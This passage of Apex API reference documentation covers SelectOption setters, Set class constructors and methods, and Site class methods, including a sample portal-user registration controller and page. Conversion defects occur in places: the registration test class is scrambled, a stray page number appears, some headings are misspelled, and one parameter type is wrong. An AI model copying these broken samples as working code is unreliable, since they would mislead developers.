public Void setDisabled(Boolean isDisabled)

Parameters
_isDisabled_
Type: Boolean

Return Value
Type: Void

Usage
If _isDisabled_ is set to _true_, the user can view the option, but cannot select it. If _isDisabled_ is set to _false_, the user can both view and select the option.

_setEscapeItem(itemsEscaped)_
Sets the value of the SelectOption object's _itemEscaped_ attribute.

Signature
public Void setEscapeItem(Boolean itemsEscaped)

Parameters
_itemsEscaped_
Type: Boolean

Return Value
Type: Void

Usage
If _itemsEscaped_ is set to _true_, sensitive HTML and XML characters are escaped in the HTML output generated by this component. If _itemsEscaped_ is set to _false_, items are rendered as written.
setLabel(label)
Sets the value of the option label that is displayed to the user.

Signature
public Void setLabel(String label)

Parameters
label
Type: String

Return Value
Type: Void

setValue(value)
Sets the value of the option value that is returned to the controller if a user selects the option.

Signature
public Void setValue(String value)

Parameters
value
Type: String

Return Value
Type: Void

Set Class
Represents a collection of unique elements with no duplicate values.

Namespace
System

Usage
The Set methods work on a set, that is, an unordered collection of elements that was initialized using the set keyword. Set elements can be of any data type—primitive types, collections, sObjects, user-defined types, and built-in Apex types. Set methods are all instance methods, that is, they all operate on a particular instance of a Set. The following are the instance methods for sets.
Note:

- Uniqueness of set elements of user-defined types is determined by the `equals` and `hashCode` methods, which you provide in your classes. Uniqueness of all other non-primitive types is determined by comparing the objects' fields.
- If the set contains String elements, the elements are case-sensitive. Two set elements that differ only by case are considered distinct.

For more information on sets, see Sets on page 33.

IN THIS SECTION:
- Set Constructors
- Set Methods

Set Constructors

The following are constructors for `Set`.

IN THIS SECTION:
- `Set<T>()`
  Creates a new instance of the `Set` class. A set can hold elements of any data type `T`.
- `Set<T>(setToCopy)`
  Creates a new instance of the `Set` class by copying the elements of the specified set. `T` is the data type of the elements in both sets and can be any data type.
- `Set<T>(listToCopy)`
  Creates a new instance of the `Set` class by coping the list elements. `T` is the data type of the elements in the set and list and can be any data type.

`Set<T>()`

Creates a new instance of the `Set` class. A set can hold elements of any data type `T`.

Signature

```java
public Set<T>()
```

Example

```java
// Create a set of strings
Set<String> s1 = new Set<String>();
// Add two strings to it
s1.add('item1');
s1.add('item2');
```

`Set<T>(setToCopy)`

Creates a new instance of the `Set` class by copying the elements of the specified set. `T` is the data type of the elements in both sets and can be any data type.
Signature

```java
public Set<T>(Set<T> setToCopy)
```

Parameters

`setToCopy`

Type: `Set<T>`

The set to initialize this set with.

Example

```java
Set<String> s1 = new Set<String>();
s1.add('item1');
s1.add('item2');
Set<String> s2 = new Set<String>(s1);
// The set elements in s2 are copied from s1
System.debug(s2);
```

**Set<T>(listToCopy)**

Creates a new instance of the `Set` class by copying the list elements. `T` is the data type of the elements in the set and list and can be any data type.

Signature

```java
public Set<T>(List<T> listToCopy)
```

Parameters

`listToCopy`

Type: `Integer`

The list to copy the elements of into this set.

Example

```java
List<Integer> ls = new List<Integer>();
ls.add(1);
ls.add(2);
// Create a set based on a list
Set<Integer> s1 = new Set<Integer>(ls);
// Elements are copied from the list to this set
System.debug(s1); // DEBUG|{1, 2}
```

**Set Methods**

The following are methods for `Set`. All are instance methods.
IN THIS SECTION:

`add(setElement)`
Adds an element to the set if it is not already present.

`addAll(fromList)`
Adds all of the elements in the specified list to the set if they are not already present.

`addAll(fromSet)`
Adds all of the elements in the specified set to the set that calls the method if they are not already present.

`clear()`
Removes all of the elements from the set.

`clone()`
Makes a duplicate copy of the set.

`contains(setElement)`
Returns `true` if the set contains the specified element.

`containsAll(listToCompare)`
Returns `true` if the set contains all of the elements in the specified list. The list must be of the same type as the set that calls the method.

`containsAll(setToCompare)`
Returns `true` if the set contains all of the elements in the specified set. The specified set must be of the same type as the original set that calls the method.

`equals(set2)`
Compares this set with the specified set and returns `true` if both sets are equal; otherwise, returns `false`.

`hashCode()`
Returns the hashcode corresponding to this set and its contents.

`isEmpty()`
Returns `true` if the set has zero elements.

`remove(setElement)`
Removes the specified element from the set if it is present.

`removeAll(listOfElementsToRemove)`
Removes the elements in the specified list from the set if they are present.

`removeAll(setOfElementsToRemove)`
Removes the elements in the specified set from the original set if they are present.

`retainAll(listOfElementsToRetain)`
Retains only the elements in this set that are contained in the specified list.

`retainAll(setOfElementsToRetain)`
Retains only the elements in the original set that are contained in the specified set.

`size()`
Returns the number of elements in the set (its cardinality).

**add(setElement)**
Adds an element to the set if it is not already present.
Signature
public Boolean add(Object setElement)

Parameters
setElement
Type: Object

Return Value
Type: Boolean

Usage
This method returns true if the original set changed as a result of the call. For example:

```java
Set<String> myString = new Set<String>{'a', 'b', 'c'};
Boolean result = myString.add('d');
System.assertEquals(true, result);
```

**addAll(fromList)**
Adds all of the elements in the specified list to the set if they are not already present.

Signature
public Boolean addAll(List<Object> fromList)

Parameters
fromList
Type: List

Return Value
Type: Boolean
Returns true if the original set changed as a result of the call.

Usage
This method results in the union of the list and the set. The list must be of the same type as the set that calls the method.

**addAll(fromSet)**
Adds all of the elements in the specified set to the set that calls the method if they are not already present.

Signature
public Boolean addAll(Set<Object> fromSet)
Parameters

fromSet
Type: Set<Object>

Return Value
Type: Boolean
This method returns true if the original set changed as a result of the call.

Usage
This method results in the union of the two sets. The specified set must be of the same type as the original set that calls the method.

Example

```java
Set<String> myString = new Set<String>{'a', 'b'};
Set<String> sString = new Set<String>{'c'};

Boolean result1 = myString.addAll(sString);
System.assertEquals(true, result1);
```

clear()
Removes all of the elements from the set.

Signature

public Void clear()

Return Value
Type: Void

cloned()
Makes a duplicate copy of the set.

Signature

public Set<Object> clone()

Return Value
Type: Set (of same type)

contains(setElement)
Returns true if the set contains the specified element.
**Signature**

public Boolean contains(Object setElement)

**Parameters**

setElement
Type: Object

**Return Value**
Type: Boolean

**Example**

```java
Set<String> myString = new Set<String>{'a', 'b'};
Boolean result = myString.contains('z');
System.assertEquals(false, result);
```

**containsAll(listToCompare)**

Returns true if the set contains all of the elements in the specified list. The list must be of the same type as the set that calls the method.

**Signature**

public Boolean containsAll(List<Object> listToCompare)

**Parameters**

listToCompare
Type: List<Object>

**Return Value**
Type: Boolean

**containsAll(setToCompare)**

Returns true if the set contains all of the elements in the specified set. The specified set must be of the same type as the original set that calls the method.

**Signature**

public Boolean containsAll(Set<Object> setToCompare)

**Parameters**

setToCompare
Type: Set<Object>
Return Value

Type: Boolean

Example

```java
Set<String> myString = new Set<String>{'a', 'b'};
Set<String> sString = new Set<String>{'c'};
Set<String> rString = new Set<String>{'a', 'b', 'c'};

Boolean result1, result2;
result1 = myString.addAll(sString);
System.assertEquals(true, result1);

result2 = myString.containsAll(rString);
System.assertEquals(true, result2);
```

equals(set2)

Compares this set with the specified set and returns true if both sets are equal; otherwise, returns false.

Signature

```java
public Boolean equals(Set<Object> set2)
```

Parameters

```java
set2
Type: Set<Object>
The set2 argument is the set to compare this set with.
```

Return Value

Type: Boolean

Usage

Two sets are equal if their elements are equal, regardless of their order. The == operator is used to compare the elements of the sets. The == operator is equivalent to calling the equals method, so you can call set1.equals(set2); instead of set1 == set2;

hashCode()

Returns the hashcode corresponding to this set and its contents.

Signature

```java
public Integer hashCode()
```
Return Value
Type: Integer

**isEmpty()**
Returns `true` if the set has zero elements.

**Signature**
public Boolean isEmpty()

**Return Value**
Type: Boolean

**Example**
```java
Set<Integer> mySet = new Set<Integer>();
Boolean result = mySet.isEmpty();
System.assertEquals(true, result);
```

**remove(setElement)**
Removes the specified element from the set if it is present.

**Signature**
public Boolean remove(Object setElement)

**Parameters**

*setElement*  
Type: Object

**Return Value**
Type: Boolean
Returns `true` if the original set changed as a result of the call.

**removeAll(listOfElementsToRemove)**
Removes the elements in the specified list from the set if they are present.

**Signature**
public Boolean removeAll(List<Object> listOfElementsToRemove)
Parameters

`listOfElementsToRemove`
Type: `List<Object>`

Return Value

Type: `Boolean`
Returns `true` if the original set changed as a result of the call.

Usage

This method results in the relative complement of the two sets. The list must be of the same type as the set that calls the method.

Example

```java
Set<Integer> mySet = new Set<Integer>{1, 2, 3};
List<Integer> myList = new List<Integer>{1, 3};
Boolean result = mySet.removeAll(myList);
System.assertEquals(true, result);
Integer result2 = mySet.size();
System.assertEquals(1, result2);
```

`removeAll(setOfElementsToRemove)`

Removes the elements in the specified set from the original set if they are present.

Signature

```java
public Boolean removeAll(Set<Object> setOfElementsToRemove)
```

Parameters

`setOfElementsToRemove`
Type: `Set<Object>`

Return Value

Type: `Boolean`
This method returns `true` if the original set changed as a result of the call.

Usage

This method results in the relative complement of the two sets. The specified set must be of the same type as the original set that calls the method.

`retainAll(listOfElementsToRetain)`

Retains only the elements in this set that are contained in the specified list.
Signature
public Boolean retainAll(List<Object> listOfElementsToRetain)

Parameters
listOfElementsToRetain
Type: List<Object>

Return Value
Type: Boolean
This method returns \texttt{true} if the original set changed as a result of the call.

Usage
This method results in the intersection of the list and the set. The list must be of the same type as the set that calls the method.

Example
```java
Set<Integer> mySet = new Set<Integer>{1, 2, 3};
List<Integer> myList = new List<Integer>{1, 3};
Boolean result = mySet.retainAll(myList);
System.assertEquals(true, result);
```

**retainAll(setOfElementsToRetain)**
Retains only the elements in the original set that are contained in the specified set.

Signature
public Boolean retainAll(Set setOfElementsToRetain)

Parameters
setOfElementsToRetain
Type: Set

Return Value
Type: Boolean
Returns \texttt{true} if the original set changed as a result of the call.

Usage
This method results in the intersection of the two sets. The specified set must be of the same type as the original set that calls the method.

**size()**
Returns the number of elements in the set (its cardinality).
Signature

public Integer size()

Return Value
Type: Integer

Example

Set<Integer> mySet = new Set<Integer>{1, 2, 3};
List<Integer> myList = new List<Integer>{1, 3};
Boolean result = mySet.retainAll(myList);
System.assertEquals(true, result);

Integer result2 = mySet.size();
System.assertEquals(2, result2);

Site Class

Use the Site Class to manage your Force.com sites.

Namespace

System

Usage

If there is a exception when using site.createPortalUser, a null is returned and the site system administrator is sent an email. For more information on sites, see “Force.com Sites Overview” in the Salesforce online help.

Force.com Sites Examples

The following example creates a class, SiteRegisterController, which is used with a Visualforce page (see markup below) to register new Customer Portal users.

Note: In the example below, you must enter the account ID of the account that you want to associate with new portal users. You must also add the account owner to the role hierarchy for this code example to work. For more information, see “Setting Up Your Customer Portal” in the Salesforce online help.

```apex
/**
 * An Apex class that creates a portal user
 */
public class SiteRegisterController {
    // PORTAL_ACCOUNT_ID is the account on which the contact will be created on
    // and then enabled as a portal user.
    //Enter the account ID in place of <portal_account_id> below.
    private static Id PORTAL_ACCOUNT_ID = '<portal_account_id>';

    public SiteRegisterController () {
```
public String username {get; set;}
public String email {get; set;}
public String password {get; set {password = value == null ? value : value.trim();}}
public String confirmPassword {get; set {confirmPassword = 
value == null ? value : value.trim();} }
public String communityNickname {get; set {communityNickname = 
value == null ? value : value.trim();} }

private boolean isValidPassword() {
    return password == confirmPassword;
}

public PageReference registerUser() {
    // If password is null, a random password is sent to the user
    if (!isValidPassword()) {
        ApexPages.Message msg = new ApexPages.Message(ApexPages.Severity.ERROR, 
Label.site.passwords_dont_match);
        ApexPages.addMessage(msg);
        return null;
    }
    User u = new User();
    u.Username = username;
    u.Email = email;
    u.CommunityNickname = communityNickname;

    String accountId = PORTAL_ACCOUNT_ID;

    // lastName is a required field on user, but if it isn't specified, 
    // the code uses the username
    String userId = Site.createPortalUser(u, accountId, password);
    if (userId != null) {
        if (password != null && password.length() > 1) {
            return Site.login(username, password, null);
        }
        else {
            PageReference page = System.Page.SiteRegisterConfirm;
            page.setRedirect(true);
            return page;
        }
    }
    return null;
}

/**
 * Test class.
 */
@isTest
private class SiteRegisterControllerTest {
    // Test method for verifying the positive test case
    static testMethod void testRegistration() {

}
SiteRegisterController controller = new SiteRegisterController();
controller.username = 'test@force.com';
controller.email = 'test@force.com';
controller.communityNickname = 'test';
// registerUser always returns null when the page isn't accessed as a guest user
System.assert(controller.registerUser() == null);
controller.password = 'abcd1234';
controller.confirmPassword = 'abcd123';
System.assert(controller.registerUser() == null);
}
}

The following is the Visualforce registration page that uses the SiteRegisterController Apex controller above:

```xml
<apex:page id="Registration" showHeader="false" controller="SiteRegisterController" standardStylesheets="true">
    <apex:outputText value="Registration"/>
    <br/>
    <apex:form id="theForm">
        <apex:messages id="msg" styleClass="errorMsg" layout="table" style="margin-top:1em;"/>
        <apex:panelGrid columns="2" style="margin-top:1em;">
            <apex:outputLabel value="{!$Label.site.username}" for="username"/>
            <apex:inputText required="true" id="username" value="{!username}"/>
            <apex:outputLabel value="{!$Label.site.community_nickname}" for="communityNickname"/>
            <apex:inputText required="true" id="communityNickname" required="true" value="{!communityNickname}"/>
            <apex:outputLabel value="{!$Label.site.email}" for="email"/>
            <apex:inputText required="true" id="email" required="true" value="{!email}"/>
            <apex:outputLabel value="{!$Label.site.password}" for="password"/>
            <apex:inputSecret id="password" value="{!password}"/>
            <apex:outputLabel value="{!$Label.site.confirm_password}" for="confirmPassword"/>
            <apex:inputSecret id="confirmPassword" value="{!confirmPassword}"/>
            <apex:outputText value=""/>
            <apex:commandButton action="{!registerUser}" value="{!$Label.site.submit}" id="submit"/>
        </apex:panelGrid>
    </apex:form>
</apex:page>
```

The sample code for the `createPersonAccountPortalUser` method is nearly identical to the sample code above, with the following changes:

- Replace all instances of `PORTAL_ACCOUNT_ID` with `OWNER_ID`.
- Determine the `ownerId` instead of the `accountId`, and use the `createPersonAccountPortalUser` method instead of the `CreatePortalUser` method by replacing the following code block:

```java
String accountId = PORTAL_ACCOUNT_ID;
String userId = Site.createPortalUser(u, accountId, password);
```

with

```java
String ownerId = OWNER_ID;
String userId = Site.createPersonAccountPortalUser(u, ownerId, password);
```
Site Methods

The following are methods for Site. All methods are static.

IN THIS SECTION:

- `changePassword(newPassword, verifyNewPassword, oldPassword)`
  Changes the password of the current user.
- `createExternalUser(name, accountId)`
  Creates a community or a portal user for the given account and associates it with the community.
- `createExternalUser(name, accountId, password)`
  Creates a community or a portal user for the given account and associates it with the community. This method sends an email with the specified password to the user.
- `createExternalUser(name, accountId, password, sendEmailConfirmation)`
  Creates a community or portal user and associates it with the given account. This method sends the user an email with the specified password as well as a new user confirmation email.
- `createPersonAccountPortalUser(user, ownerId, password)`
  Creates a person account using the default record type defined on the guest user's profile, then enables it for the site's portal.
- `createPersonAccountPortalUser(user, ownerId, recordTypeId, password)`
  Creates a person account using the specified `recordTypeID`, then enables it for the site's portal.
- `createPortalUser(user, accountId, password, sendEmailConfirmation)`
  Creates a portal user for the given account and associates it with the site's portal.
- `forgotPassword(username)`
  Resets the user's password and sends an email to the user with their new password. Returns a value indicating whether the password reset was successful or not.
- `getAdminEmail()`
  Returns the email address of the site administrator.
- `getAdminId()`
  Returns the user ID of the site administrator.
- `getAnalyticsTrackingCode()`
  The tracking code associated with your site. This code can be used by services like Google Analytics to track page request data for your site.
- `getCurrentSiteUrl()`
  Deprecated. This method was replaced by `getBaseUrl()` in API version 30.0. Returns the base URL of the current site that references and links should use.
- `getBaseCustomUrl()`
  Returns a base URL for the current site that doesn't use a Force.com subdomain. The returned URL uses the same protocol (HTTP or HTTPS) as the current request if at least one non-Force.com custom URL that supports HTTPS exists on the site. The returned value never ends with a `/` character. If all the custom URLs in this site end in Force.com or this site has no custom URLs, then this returns an empty string. If the current request is not a site request, then this method returns an empty string. This method replaced getCustomWebAddress and includes the custom URL's path prefix.
**getBaseInsecureUrl()**
Returns a base URL for the current site that uses HTTP instead of HTTPS. The current request's domain is used. The returned value includes the path prefix and never ends with a `/` character. If the current request is not a site request, then this method returns an empty string.

**getBaseRequestUrl()**
Returns the base URL of the current site for the requested URL. This isn't influenced by the referring page's URL. The returned URL uses the same protocol (HTTP or HTTPS) as the current request. The returned value includes the path prefix and never ends with a `/` character. If the current request is not a site request, then this method returns an empty string.

**getBaseSecureUrl()**
Returns a base URL for the current site that uses HTTPS instead of HTTP. The current request's domain is preferred if it supports HTTPS. Domains that are not Force.com subdomains are preferred over Force.com subdomains. A Force.com subdomain, if associated with the site, is used if no other HTTPS domains exist in the current site. If no HTTPS custom URLs exist in the site, then this method returns an empty string. The returned value includes the path prefix and never ends with a `/` character. If the current request is not a site request, then this method returns an empty string.

**getBaseUrl()**
Returns the base URL of the current site that references and links should use. Note that this field may return the referring page's URL instead of the current request's URL. The returned value includes the path prefix and never ends with a `/` character. If the current request is not a site request, then this field returns an empty string. This field replaces getCurrentSiteUrl.

**getCustomWebAddress()**
Deprecated. This method was replaced by `getBaseCustomUrl()` in API version 30.0.

**getDomain()**
Returns the Force.com domain name for your organization.

**getErrorDescription()**
Returns the error description for the current page if it's a designated error page for the site and an error exists; otherwise, returns an empty string.

**getErrorMessage()**
Returns an error message for the current page if it's a designated error page for the site and an error exists; otherwise, returns an empty string.

**getMasterLabel()**
Returns the value of the Master Label field for the current site. If the current request is not a site request, then this field returns `null`.

**getName()**
Returns the API name of the current site.

**getOriginalUrl()**
Returns the original URL for this page if it's a designated error page for the site; otherwise, returns `null`.

**getPathPrefix()**
Returns the URL path prefix of the current site or an empty string if none. For example, if the requested site URL is `http://myco.force.com/partners`, then `/partners` is the path prefix. If the current request is not a site request, then this method returns an empty string. This method replaced getPrefix in API version 30.0.

**getPrefix()**
Deprecated. This method was replaced by `getPathPrefix()` in API version 30.0.

**getSiteId()**
Returns the ID of the current site. If the current request is not a site request, then this field returns `null`. 

2187
getTemplate()  
Returns the template name associated with the current site; returns the default template if no template has been designated.

getSiteType()  
Returns the API value of the site type field for the current site. This can be Visualforce for a Force.com site, Siteforce for a Site.com site, ChatterNetwork for a Force.com Communities site, or ChatterNetworkPicasso for a Site.com Communities site. If the current request is not a site request, then this method returns null.

getSiteTypeLabel()  
Returns the value of the Site Type field's label for the current site. If the current request is not a site request, then this method returns null.

isLoginEnabled()  
Returns true if the current site is associated with an active login-enabled portal; otherwise returns false.

isPasswordExpired()  
For authenticated users, returns true if the currently logged-in user's password is expired. For non-authenticated users, returns false.

isRegistrationEnabled()  
Returns true if the current site is associated with an active self-registration-enabled Customer Portal; otherwise returns false.

login(username, password, startUrl)  
Allows users to log in to the current site with the given username and password, then takes them to the startUrl. If startUrl is not a relative path, it defaults to the site's designated index page.

setPortalUserAsAuthProvider(user, contactId)  
Sets the specified user information within the site's portal via an authentication provider.

changePassword(newPassword, verifyNewPassword, oldPassword)  
Changes the password of the current user.

Signature

public static System.PageReference changePassword(String newPassword, String verifyNewPassword, String oldPassword)

Parameters

newPassword  
Type: String

verifyNewPassword  
Type: String

oldPassword  
Type: String  
Optional.

Return Value  
Type: System.PageReference
Usage
Calls to this method in API version 30.0 and later won’t commit the transaction automatically. Calls to this method prior to API version 30.0 commit the transaction, making it impossible to roll back to a save point before the call.

createExternalUser(name, account Id)

Creates a community or a portal user for the given account and associates it with the community.

Signature

```java
public static Id createExternalUser(SObject name, String accountId)
```

Parameters

- **name**
  - Type: SObject
  - Information required to create a user.

- **accountId**
  - Type: String
  - The ID of the account you want to associate the user with.

Return Value

Type: Id

The ID of the user that this method creates.

Usage

This method throws `Site.ExternalUserCreateException` when user creation fails.

The nickname field is required for the User sObject when using the `createExternalUser` method.

Note: This method is only valid when a site is associated with a Customer Portal.

Calls to this method in API version 30.0 and later won’t commit the transaction automatically. Calls to this method prior to API version 30.0 commit the transaction, making it impossible to roll back to a save point before the call.

createExternalUser(name, account Id, password)

Creates a community or a portal user for the given account and associates it with the community. This method sends an email with the specified password to the user.

Signature

```java
public static Id createExternalUser(SObject name, String accountId, String password)
```

Parameters

- **name**
  - Type: SObject
Information required to create a user.

accountID
Type: String
The ID of the account you want to associate the user with.

password
Type: String
The password of the community or portal user. If not specified, or if set to null or an empty string, this method sends a new password email to the portal user.

Return Value
Type: Id
The ID of the user that this method creates.

Usage
This method throws Site.ExternalUserCreateException when user creation fails.

The nickname field is required for the User sObject when using the createExternalUser method.

Note: This method is only valid when a site is associated with a Customer Portal.

Calls to this method in API version 30.0 and later won't commit the transaction automatically. Calls to this method prior to API version 30.0 commit the transaction, making it impossible to roll back to a save point before the call.

createExternalUser(name, accountId, password, sendEmailConfirmation)
Creates a community or portal user and associates it with the given account. This method sends the user an email with the specified password as well as a new user confirmation email.

Signature

public static Id createExternalUser(SObject name, String accountId, String password, Boolean sendEmailConfirmation)

Parameters

name
Type: SObject
Information required to create a user.

accountId
Type: String
The ID of the account you want to associate the user with.

password
Type: String
The password of the community or portal user. If not specified, or if set to null or an empty string, this method sends a new password email to the portal user.
sendEmailConfirmation

Type: Boolean

Determines whether a new user email is sent to the portal user. Set it to true to send a new user email to the portal user. The default is false, that is, the new user email isn’t sent.

Return Value

Type: Id

The ID of the user that this method creates.

Usage

This method throws Site.ExternalUserCreateException when user creation fails.

The nickname field is required for the User sObject when using the createExternalUser method.

Note: This method is only valid when a site is associated with a Customer Portal.

Calls to this method in API version 30.0 and later won’t commit the transaction automatically. Calls to this method prior to API version 30.0 commit the transaction, making it impossible to roll back to a save point before the call.

createPersonAccountPortalUser(user, ownerId, password)

Creates a person account using the default record type defined on the guest user’s profile, then enables it for the site’s portal.

Signature

public static ID createPersonAccountPortalUser(sObject user, String ownerId, String password)

Parameters

user

Type: sObject

ownerId

Type: String

password

Type: String

Return Value

Type: ID

Usage

Calls to this method in API version 30.0 and later won’t commit the transaction automatically. Calls to this method prior to API version 30.0 commit the transaction, making it impossible to roll back to a save point before the call.

Note: This method is only valid when a site is associated with a Customer Portal, and when the user license for the default new user profile is a high-volume portal user.
createPersonAccountPortalUser(user, ownerId, recordTypeId, password)

Creates a person account using the specified recordTypeID, then enables it for the site's portal.

Signature

public static ID createPersonAccountPortalUser(sObject user, String ownerId, String recordTypeId, String password)

Parameters

user
  Type: sObject
ownerId
  Type: String
recordTypeId
  Type: String
password
  Type: String

Return Value

Type: ID

Usage

Calls to this method in API version 30.0 and later won’t commit the transaction automatically. Calls to this method prior to API version 30.0 commit the transaction, making it impossible to roll back to a save point before the call.

Note: This method is only valid when a site is associated with a Customer Portal, and when the user license for the default new user profile is a high-volume portal user.

createPortalUser(user, accountId, password, sendEmailConfirmation)

Creates a portal user for the given account and associates it with the site's portal.

Signature

public static ID createPortalUser(sObject user, String accountId, String password, Boolean sendEmailConfirmation)

Parameters

user
  Type: sObject
accountId
  Type: String
password
  Type: String
(Optional) The password of the portal user. If not specified, or if set to `null` or an empty string, this method sends a new password email to the portal user.

**sendEmailConfirmation**

Type: Boolean

(Optional) Determines whether a new user email is sent to the portal user. Set it to `true` to send a new user email to the portal user. The default is `false`, that is, the new user email isn’t sent.

**Return Value**

Type: ID

**Usage**

The nickname field is required for the user sObject when using the `createPortalUser` method.

Note: This method is only valid when a site is associated with a Customer Portal.

Calls to this method in API version 30.0 and later won’t commit the transaction automatically. Calls to this method prior to API version 30.0 commit the transaction, making it impossible to roll back to a save point before the call.

**forgotPassword(username)**

Resets the user’s password and sends an email to the user with their new password. Returns a value indicating whether the password reset was successful or not.

**Signature**

```java
public static Boolean forgotPassword(String username)
```

**Parameters**

`username`

Type: String

**Return Value**

Type: Boolean

Note: The return value will always be true unless it’s called outside of a Visualforce page. If it’s called outside of a Visualforce page, it will be false.

**Usage**

Calls to this method in API version 30.0 and later won’t commit the transaction automatically. Calls to this method prior to API version 30.0 commit the transaction, making it impossible to roll back to a save point before the call.

**getAdminEmail()**

Returns the email address of the site administrator.
Signature
public static String getAdminEmail()

Return Value
Type: String

getAdminId()
Returns the user ID of the site administrator.

Signature
public static ID getAdminId()

Return Value
Type: ID

getAnalyticsTrackingCode()
The tracking code associated with your site. This code can be used by services like Google Analytics to track page request data for your site.

Signature
public static String getAnalyticsTrackingCode()

Return Value
Type: String

gGetCurrentSiteUrl()
Deprecated. This method was replaced by getBaseUrl() in API version 30.0. Returns the base URL of the current site that references and links should use.

Note that this may return the referring page's URL instead of the current request's URL. The returned value includes the path prefix and always ends with a / character. If the current request is not a site request, then this method returns null. If the current request is not a site request, then this method returns null. This method was replaced by getBaseUrl in API version 30.0.

Signature
public static String getCurrentSiteUrl()

Return Value
Type: String
Usage

Use `getBaseUrl()` instead.

`getBaseCustomUrl()`

Returns a base URL for the current site that doesn’t use a Force.com subdomain. The returned URL uses the same protocol (HTTP or HTTPS) as the current request if at least one non-Force.com custom URL that supports HTTPS exists on the site. The returned value never ends with a `/` character. If all the custom URLs in this site end in Force.com or this site has no custom URLs, then this returns an empty string. If the current request is not a site request, then this method returns an empty string. This method replaced `getCustomWebAddress` and includes the custom URL’s path prefix.

Signature

```java
public static String getBaseCustomUrl()
```

Return Value

Type: `String`

Usage

This method replaces `getCustomWebAddress()` and includes the custom URL’s path prefix.

`getBaseInsecureUrl()`

Returns a base URL for the current site that uses HTTP instead of HTTPS. The current request’s domain is used. The returned value includes the path prefix and never ends with a `/` character. If the current request is not a site request, then this method returns an empty string.

Signature

```java
public static String getBaseInsecureUrl()
```

Return Value

Type: `String`

`getBaseRequestUrl()`

Returns the base URL of the current site for the requested URL. This isn’t influenced by the referring page’s URL. The returned URL uses the same protocol (HTTP or HTTPS) as the current request. The returned value includes the path prefix and never ends with a `/` character. If the current request is not a site request, then this method returns an empty string.

Signature

```java
public static String getBaseRequestUrl()
```

Return Value

Type: `String`
**getBaseSecureUrl()**

Returns a base URL for the current site that uses HTTPS instead of HTTP. The current request's domain is preferred if it supports HTTPS. Domains that are not Force.com subdomains are preferred over Force.com subdomains. A Force.com subdomain, if associated with the site, is used if no other HTTPS domains exist in the current site. If no HTTPS custom URLs exist in the site, then this method returns an empty string. The returned value includes the path prefix and never ends with a `/` character. If the current request is not a site request, then this method returns an empty string.

**Signature**

```java
public static String getBaseSecureUrl()
```

**Return Value**

Type: `String`

**getBaseUrl()**

Returns the base URL of the current site that references and links should use. Note that this field may return the referring page's URL instead of the current request's URL. The returned value includes the path prefix and never ends with a `/` character. If the current request is not a site request, then this field returns an empty string. This field replaces `getCurrentSiteUrl()`.

**Signature**

```java
public static String getBaseUrl()
```

**Return Value**

Type: `String`

**Usage**

This method replaces `getCurrentSiteUrl()`.

**getCustomWebAddress()**

Deprecated. This method was replaced by `getBaseCustomUrl()` in API version 30.0.

Returns the request's custom URL if it doesn't end in Force.com or returns the site's primary custom URL. If neither exist, then this returns null. Note that the URL's path is always the root, even if the request's custom URL has a path prefix. If the current request is not a site request, then this method returns null. The returned value always ends with a `/` character.

**Signature**

```java
public static String getCustomWebAddress()
```

**Return Value**

Type: `String`
Usage
Use `getBaseCustomUrl()` instead.

`getDomain()`
Returns the Force.com domain name for your organization.

Signature
`public static String getDomain()`

Return Value
Type: `String`

`getErrorDescription()`
Returns the error description for the current page if it’s a designated error page for the site and an error exists; otherwise, returns an empty string.

Signature
`public static String getErrorDescription()`

Return Value
Type: `String`

`getErrorMessage()`
Returns an error message for the current page if it’s a designated error page for the site and an error exists; otherwise, returns an empty string.

Signature
`public static String getErrorMessage()`

Return Value
Type: `String`

`getMasterLabel()`
Returns the value of the Master Label field for the current site. If the current request is not a site request, then this field returns `null`.

Signature
`public static String getMasterLabel()`
Return Value
Type: String

**getName()**
Returns the API name of the current site.

**Signature**
```
public static String getName()
```

Return Value
Type: String

**getOriginalUrl()**
Returns the original URL for this page if it’s a designated error page for the site; otherwise, returns null.

**Signature**
```
public static String getOriginalUrl()
```

Return Value
Type: String

**getPathPrefix()**
Returns the URL path prefix of the current site or an empty string if none. For example, if the requested site URL is http://myco.force.com/partners, then /partners is the path prefix. If the current request is not a site request, then this method returns an empty string. This method replaced getPrefix in API version 30.0.

**Signature**
```
public static String getPathPrefix()
```

Return Value
Type: String

**getPrefix()**
Deprecated. This method was replaced by getPathPrefix() in API version 30.0.
Returns the URL path prefix of the current site. For example, if your site URL is myco.force.com/partners, /partners is the path prefix. Returns null if the prefix isn’t defined. If the current request is not a site request, then this method returns a null.

**Signature**
```
public static String getPrefix()
```
Return Value
Type: String

**getSiteId()**
Returns the ID of the current site. If the current request is not a site request, then this field returns null.

Signature
```java
public static String getSiteId()
```

**getTemplate()**
Returns the template name associated with the current site; returns the default template if no template has been designated.

Signature
```java
public static System.PageReference getTemplate()
```

**getSiteType()**
Returns the API value of the site type field for the current site. This can be Visualforce for a Force.com site, Siteforce for a Site.com site, ChatterNetwork for a Force.com Communities site, or ChatterNetworkPicasso for a Site.com Communities site. If the current request is not a site request, then this method returns null.

Signature
```java
public static String getSiteType()
```

**getSiteTypeLabel()**
Returns the value of the Site Type field's label for the current site. If the current request is not a site request, then this method returns null.

Signature
```java
public static String getSiteTypeLabel()
```
Return Value  
Type: String

isLoginEnabled()  
Returns true if the current site is associated with an active login-enabled portal; otherwise returns false.

Signature  
public static Boolean isLoginEnabled()

Return Value  
Type: Boolean

isPasswordExpired()  
For authenticated users, returns true if the currently logged-in user's password is expired. For non-authenticated users, returns false.

Signature  
public static Boolean isPasswordExpired()

Return Value  
Type: Boolean

isRegistrationEnabled()  
Returns true if the current site is associated with an active self-registration-enabled Customer Portal; otherwise returns false.

Signature  
public static Boolean isRegistrationEnabled()

Return Value  
Type: Boolean

login(username, password, startUrl)  
Allows users to log in to the current site with the given username and password, then takes them to the startUrl. If startUrl is not a relative path, it defaults to the site's designated index page.

Signature  
public static System.PageReference login(String username, String password, String startUrl)
Parameters

username
Type: String

password
Type: String

startUrl
Type: String

Return Value
Type: System.PageReference

Usage
All DML statements before the call to Site.login get committed. It’s not possible to roll back to a save point that was created before a call to Site.login.

Note: Do not include http:// or https:// in the startURL.

setPortalUserAsAuthProvider(user, contactId)
Sets the specified user information within the site’s portal via an authentication provider.

Signature
public static Void setPortalUserAsAuthProvider(sObject user, String contactId)

Parameters

user
Type: sObject

contactId
Type: String

Return Value
Type: Void

Usage

• This method is only valid when a site is associated with a Customer Portal.
• Calls to this method in API version 30.0 and later won’t commit the transaction automatically. Calls to this method prior to API version 30.0 commit the transaction, making it impossible to roll back to a save point before the call.
• For more information on an authentication provider, see RegistrationHandler on page 650.

sObject Class
Contains methods for the sObject data type.
Namespace

System

Usage

